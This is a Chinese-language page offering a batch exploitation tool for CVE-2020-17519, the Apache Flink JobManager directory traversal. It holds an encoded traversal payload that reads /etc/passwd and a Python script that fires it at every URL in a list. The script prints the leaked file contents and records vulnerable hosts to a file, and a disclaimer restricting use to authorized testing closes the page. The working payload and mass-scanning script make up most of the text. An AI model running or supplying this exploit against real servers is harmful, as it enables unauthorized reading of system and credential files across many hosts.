Apache Flink目录遍历漏洞批量检测工具 CVE-2020-17519

CVE-2020-17519漏洞介绍

攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件.

受影响版本

1.11.0
1.11.1
1.11.2

CVE-2020-17519 payload

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

批量检测脚本

#!/usr/bin/env python
# coding:utf-8
# author:B1anda0
#affected versions are Apache Flink 1.11.0-1.11.2

import requests,sys,colorama
from colorama import *
init(autoreset=True)


banner='''\033[1;33;40m
  _______      ________    ___   ___ ___   ___        __ ______ _____ __  ___  
 / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ |____  | ____/_ |/ _ \ 
| |     \ \  / /| |__ ______ ) | | | | ) | | | |______| |   / /| |__  | | (_) |
| |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |  / / |___ \ | |\__, |
| |____   \  /  | |____    / /_| |_| / /_| |_| |      | | / /   ___) || |  / / 
 \_____|   \/   |______|  |____|\___/____|\___/       |_|/_/   |____/ |_| /_/                                                                                                                                                 
'''


def verify():
	headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}
	payload= '/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd' 
	poc=urls+payload
	try:
		requests.packages.urllib3.disable_warnings()#解决InsecureRequestWarning警告
		response=requests.get(poc,headers=headers,timeout=15,verify=False)
		if response.status_code==200 and "root:x" in response.content:
			print(u'\033[1;31;40m[+]{} is apache flink directory traversal vulnerability'.format(urls))
			print(response.content)
			#将漏洞地址输出在Vul.txt中
			f=open('./vul.txt','a')
			f.write(urls)
			f.write('\n')
		else:
			print('\033[1;32;40m[-]{} None'.format(urls))
	except:
		print('{} request timeout'.format(urls))


if __name__ == '__main__':
	print (banner)
	if len(sys.argv)!=2:
		print('Example:python CVE-2020-17519.py urls.txt')
	else:
		file = open(sys.argv[1])
		for url in file.readlines():
			urls=url.strip()
			if urls[-1]=='/':
				urls=urls[:-1]
			verify()
		print ('Check Over')

项目地址:

GitHub: github.com/B1anda0/CVE-2020-17519

使用方法：

Python CVE-2020-17519.py urls.txt

urls.txt 中每个url一行，漏洞地址输出为vul.txt

警告

工具仅用于安全人员安全测试，任何未授权检测造成的直接或者间接的后果及损失，均由使用者本人负责